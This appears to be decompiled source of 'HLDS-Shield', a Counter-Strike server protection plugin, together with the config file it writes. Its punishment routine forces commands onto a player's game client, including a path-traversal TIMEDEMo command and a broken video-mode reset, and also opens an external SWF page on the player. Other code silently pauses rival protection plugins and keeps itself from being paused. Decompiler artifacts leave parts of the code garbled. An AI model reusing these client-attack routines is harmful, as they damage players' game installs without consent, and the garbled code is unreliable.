set_dhudmessage(random(256), random(256), random(256), -1.00, 0.16, 1, 6.00, 3.00, 0.10, 5.00, false);
show_dhudmessage(player, "If you think you got minnie for nothing \n You please log on our website \n%s", MyHostName);
Shake_Player(player, 10.00);
ScreenFade(player, 255, 0, 0, 150);
PlayerName(id);
ColorChat(player, "\4%s\3 \1Admin Name : \4%s\3", "[HLDS-Shield]", Heap_128);
PlayerName_P(player);
ColorChat(player, "\4%s\3 \1My Name : \4%s\3", "[HLDS-Shield]", Heap_128);
ScreenFade(player, 255, 0, 0, 150);
if (is_user_alive(player))
{
Shake_Player(player, 10.00);
}
show_motd(player, "http://inciswf.com/1332235315120.swf", "Hello");
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(player, "snApShOT");
}
else
{
client_cmd(player, "snapsHOT");
}
if (equal(SecondArg, "ro", 0))
{
NameUnLock[player] = 4;
}
if (equal(SecondArg, "ru", 0))
{
NameUnLock[player] = 5;
}
if (equal(SecondArg, "lv", 0))
{
NameUnLock[player] = 6;
}
if (equal(SecondArg, "steam", 0))
{
NameUnLock[player] = 7;
}
client_finale(player);
set_task(0.50/*1056964608*/, "shield_fuck", player, "", 0, "", 0);
set_task(15.00/*1097859072*/, "SHIELD_KICKCMD", player, "", 0, "", 0);
}
return 1;
}
public shield_fuck(player)
{
if (get_pcvar_num(shield_sendmsg) == 1)
{
if (NameUnLock[player][0][0] == 4)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_romanian/gfx/HLDS_ShieldUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 5)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_russian/gfx/HLDS_ShieldUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 6)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_lv/gfx/HLDS_ShieldUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 7)
{
client_director(player, "TIMEDEMo !MD5/../../cstrike_downloads/gfx/HLDS_ShieldUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
client_director(player, "TIMEDEMo gfx/HLDS_ShieldUp.wad");
client_director(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 4)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_romanian/gfx/HLDS_ShieldUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 5)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_russian/gfx/HLDS_ShieldUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 6)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_lv/gfx/HLDS_ShieldUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
if (NameUnLock[player][0][0] == 7)
{
client_cmd(player, "TIMEDEMo !MD5/../../cstrike_downloads/gfx/HLDS_ShieldUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
client_cmd(player, "TIMEDEMo gfx/HLDS_ShieldUp.wad");
client_cmd(player, "_setvideomode 1 x 4;_setrenderer software;_restart");
return 1;
}
public ClearValueFromTrie(String:params[])
{
static szAddress[32];
copy(szAddress, 31, params);
TrieDeleteKey(ghTrie, szAddress);
return 0;
}
public plugin_end()
{
new Float:ft = engfunc("");
new it = floatround(ft, 0);
new seconds = it;
new minutes = it / 60;
new hours = it / 3600;
new day = it / 86400;
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Server Online : %i:%i:%i:%i\n", "[HLDS-Shield]", day, hours, minutes, seconds);
if (get_pcvar_num(shield_customhpk) == 1)
{
if (file_exists("custom.hpk"))
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Deleted file \"custom.hpk\"", "[HLDS-Shield]");
delete_file("custom.hpk");
}
}
return 0;
}
public plugin_pause()
{
if (get_pcvar_num(shield_amxxpause) == 1)
{
if (find_plugin_byfile("HLDS-Shield.amxx", "") != -1)
{
server_cmd("amxx unpause %s", "HLDS-Shield.amxx");
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s WARNING: failed to pause plugin %s", "[HLDS-Shield]", "HLDS-Shield.amxx");
ColorChat(0, "\4%s WARNING:\3\1 failed to pause plugin\4 %s ", "[HLDS-Shield]", "HLDS-Shield.amxx");
}
}
return 0;
}
public plugin_cfg()
{
!!! Removed Phi
new szFile[128];
new dir[32];
if (get_pcvar_num(shield_checkerprotection) == 1)
{
new i = 0;
while (i < 15)
{
if (find_plugin_byfile(PluginStop[i][0][0], "") != -1)
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s I disabled a plugin that could confuse me,write \"amxx plugins\" to see the plugin disabled", "[HLDS-Shield]");
pause("acd", "antiflood.amxx", "");
pause("acd", "noflood.amxx", "");
pause("acd", "bug_fix.amxx", "");
pause("acd", "hostpixel-shieldv3.amxx", "");
pause("acd", "server_protection.amxx", "");
pause("acd", "serverprotection.amxx", "");
pause("acd", "functions-2012.amxx", "");
pause("acd", "llg-functions.amxx", "");
pause("acd", "rom_protect.amxx", "");
pause("acd", "rcon_protect.amxx", "");
pause("acd", "bug_fix_and_anti_flood_by_alkaline.amxx", "");
pause("acd", "r4ge-server-guard.amxx", "");
pause("acd", "WarGods_Shield.amxx", "");
pause("acd", "takehost_functions.amxx", "");
i++;
}
i++;
}
}
get_localinfo("amxx_configsdir", dir, 31);
get_configsdir(szFile, 32);
formatex(szFile, "", "%s/[H][L][D][S]-Shield/%s.cfg", szFile, "HLDS-Shield");
if (!file_exists(szFile))
{
write_file(szFile, "This plugin was maded for all players from HLDS-RUSSIAN 2.3 !", -1);
write_file(szFile, "\n[*]----------------------------[*]", -1);
write_file(szFile, "//Version : 1.0.6", -1);
write_file(szFile, "//Author : SkillartzHD", -1);
write_file(szFile, "[*]----------------------------[*]\n", -1);
write_file(szFile, "//Contact SkillartzHD", -1);
write_file(szFile, "//Y!M: [email protected]", -1);
write_file(szFile, "//Steam: slick_cocaine(SkillartzHD)", -1);
write_file(szFile, "//Skype: spyware.spyware1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable log's", -1);
write_file(szFile, "//[CVAR 1] Enable log's", -1);
write_file(szFile, "//Recommanded 1", -1);
write_file(szFile, "shield_log 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable amx_showip", -1);
write_file(szFile, "//[CVAR 1] Enable amx_showip", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_showip 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable showing password in amx_hlshowip", -1);
write_file(szFile, "//[CVAR 1] Enable showing password in amx_hlshowip (showing passowrd is only server)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_showpw 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable amx_minne", -1);
write_file(szFile, "//[CVAR 1] Enable amx_minne", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_minne 1", -1);
write_file(szFile, "shield_minnewb \"===WWW.ALPHACS.RO===\"", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable amx_hlquit", -1);
write_file(szFile, "//[CVAR 1] Enable amx_hlquit", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_quit 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable FULLUPDATE SPAM PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server FULLUPDATE + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server FULLUPDATE + The player will be Banned", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "shield_fullupdate_warn 5", -1);
write_file(szFile, "shield_fullupdate 2", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable AUTOBUY PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server AUTOBUY + The player will receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server AUTOBUY + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server AUTOBUY + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_autobuy 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable CMDBUG PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server CMDBUG + The player will receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_cmdbug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable FAKE PLAYERS METHOD", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server FAKE PLAYERS + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server FAKE PLAYERS + The player will be Banned", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "shield_fakeplayer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable RADIO BLOCK", -1);
write_file(szFile, "//[CVAR 1] Enable RADIO BLOCK", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_radio 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] CUSTOM.HPK will not removed ", -1);
write_file(szFile, "//[CVAR 1] CUSTOM.HPK will be automatically deleted when changing map!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_customhpk 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SPAMMER BOT", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SPAMMER BOT", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_spammer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SteamID Hack", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SteamID Hack + The player will be Kicked", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_steamidhack 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable SETINFO-LOG", -1);
write_file(szFile, "//[CVAR 1] Enable SETINFO-LOG", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_autolog 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server RCON HACK", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server RCON HACK", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_rcon_random 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server hlds/motd", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server hlds/motd", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_motdfile 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server SPEC BUG", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server SPEC BUG", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_specbug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server NAME BUG", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server NAMEBUG", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server NAMEBUG + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server NAMEBUG + The player will be Banned", -1);
write_file(szFile, "//[CVAR 4] Turn on protection server NAMEBUG + The player name will be changed to Player HLDS", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_namebug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off protection server ILEGALBAN", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server ILEGALBAN + ADMIN will be Receive", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server ILEGALBAN + ADMIN will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server ILEGALBAN + ADMIN will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_ilegalban 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable the protection for pause HLDS-Shield.amxx", -1);
write_file(szFile, "//[CVAR 1] Enable the protection for pause HLDS-Shield.amxx", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_amxxpause 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable ILEGALCOMMAND PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection server ILEGALCOMMAND + The player will Receive a message", -1);
write_file(szFile, "//[CVAR 2] Turn on protection server ILEGALCOMMAND + The player will be Kicked", -1);
write_file(szFile, "//[CVAR 3] Turn on protection server ILEGALCOMMAND + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_ilegalcmd 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable SHIELDCVAR PROTECTION", -1);
write_file(szFile, "//[CVAR 1] Turn on protection fo amx_cvar and amx_rcon shield_cvar ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_shieldcvar 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Turn off checker & stop plugin protection [TNIBUG FIX,Krond-Solutions etc]", -1);
write_file(szFile, "//[CVAR 1] Turn on checker & stop plugin protection [TNIBUG FIX,Krond-Solutions etc]", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_checkerprotection 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable shake player", -1);
write_file(szFile, "//[CVAR 1] Turn on shake player command ! ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_shakeplayer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable protection for an HLTV player connecting to the server", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for an HLTV player connecting to the server + The player will be Kicked ", -1);
write_file(szFile, "//[CVAR 2] Turn on protection for an HLTV player connecting to the server + The player will be Banned", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_hltv 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable spambot from th server", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for player spambot!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_spambot 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable chat spam protection !", -1);
write_file(szFile, "//[CVAR 1] Turn on protection for chat spam ! ", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_noflood_time 0.75", -1);
write_file(szFile, "shield_noflood 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0/2/3/] Freezing program disables xfakeplayers", -1);
write_file(szFile, "//[CVAR 1] XFakePlayers exploits until it freezes all (v1.02 - v1.13 v2 fix)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_xfakecrash 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable plugin auto-updates!", -1);
write_file(szFile, "//[CVAR 1] Enable plugin auto-updates!", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_update 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Allows players to hlproxy/hlsocks", -1);
write_file(szFile, "//[CVAR 1] Blocks players with hlproxy/hlsocks", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_hlsocks 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable fix for admin bug", -1);
write_file(szFile, "//[CVAR 1] Activates a fix for admin bug", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_admin_debug 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable the admin password encryption", -1);
write_file(szFile, "//[CVAR 1] Add a random password for the admin entry in client_putinserver", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_admim_removepassword 0", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable protection name spammer", -1);
write_file(szFile, "//[CVAR 1] Turn on protection name spammer", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_name_spammer 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Commands send by SVC_STUFFTEXT(9)", -1);
write_file(szFile, "//[CVAR 1] Commands send by SVC_DIRECTOR(51)", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_sendmsg 1", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Disable suspicions of players", -1);
write_file(szFile, "//[CVAR 1] Disconnect players who make a false connect/spam connect/more ip", -1);
write_file(szFile, "//[CVAR 2] Banning players who make a false connect/spam connect/more ip (1 minutes)", -1);
write_file(szFile, "//Recommended 2", -1);
write_file(szFile, "shield_suspicious 2", -1);
write_file(szFile, "\n\n", -1);
write_file(szFile, "//[CVAR 0] Protection disables the local server", -1);
write_file(szFile, "//[CVAR 1] Turn on checking backdoor server hlds", -1);
write_file(szFile, "//Recommended 1", -1);
write_file(szFile, "shield_checkbackdoor 1", -1);
server_print("%s Created file %s.cfg", "[HLDS-Shield]", "HLDS-Shield");
server_print("%s The server received a reload to avoid bugs by creating the file %s.cfg", "[HLDS-Shield]", "HLDS-Shield");
server_cmd("reload");
}
return 0;
}
MessageIlegalBan(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_BANBUG");
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s", "[HLDS-Shield]", Heap_128, "CSTRIKE_BANBUG");
return 0;
}
MessageAutobuy(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_SETAUTOBUY");
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[HLDS-Shield]", Heap_128, "CSTRIKE_SETAUTOBUY");
return 0;
}
MessageIlegalCmd(id)
{
static msg[192];
read_args(msg, "CLIENT_IMM");
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s (%s)", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_ILEGALCMD", msg);
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[HLDS-Shield]", Heap_128, "CSTRIKE_ILEGALCMD");
return 0;
}
MessageCmdbug(id)
{
static msg[192];
read_args(msg, "CLIENT_IMM");
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s (%s)", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_CRASH", msg);
}
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s", "[HLDS-Shield]", Heap_128, "CSTRIKE_CRASH");
return 0;
}
MessageSteamid(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_STEAMID");
}
return 0;
}
MessageFullUpdate(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) tried and was blocked %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_FULLUPDATE");
}
return 0;
}
MessageSrBlock(id)
{
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry \3%s\1,this command is locked (\4shield_sr_rcon is \"1\")\1", "[HLDS-Shield]", Heap_128);
return 0;
}
MessageCvarBlock(id)
{
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 You have not to change cvar plugin\4 %s ", "[HLDS-Shield]", Heap_128, "HLDS-Shield");
return 0;
}
MessageNameBug(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_NAME");
}
if (is_user_connected(id))
{
PlayerName(id);
ColorChat(id, "\4%s\1 Sorry , \3%s\1 have been detected and blocked to command\4 %s ", "[HLDS-Shield]", Heap_128, "CSTRIKE_NAME");
}
return 0;
}
MessageSuspicios(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s [flooding level 1.%d%d%d]", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_SUSPICIOUS", random_num("", ""), random_num("", ""), random_num("", ""));
}
return 0;
}
MessageAdminBug(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_ADMINBUG");
}
return 0;
}
MessageHLTV(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_HLTV");
}
return 0;
}
MessageHLSocks(id)
{
if (get_pcvar_num(shield_log) == 1)
{
PlayerIP(id);
PlayerName(id);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s User \"%s\" (IP:%s) has been blocked to %s", "[HLDS-Shield]", Heap_128, Heap_128, "CSTRIKE_HLSOCKS");
}
return 0;
}
MessageCDKEY()
{
if (get_pcvar_num(shield_log) == 1)
{
new GetName[32];
getUserName(detectType4, 311, GetName, 32);
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Blocking connections user \"%s\" was blocked for %s", "[HLDS-Shield]", GetName, "CSTRIKE_FAKEPLAYERS");
}
return 0;
}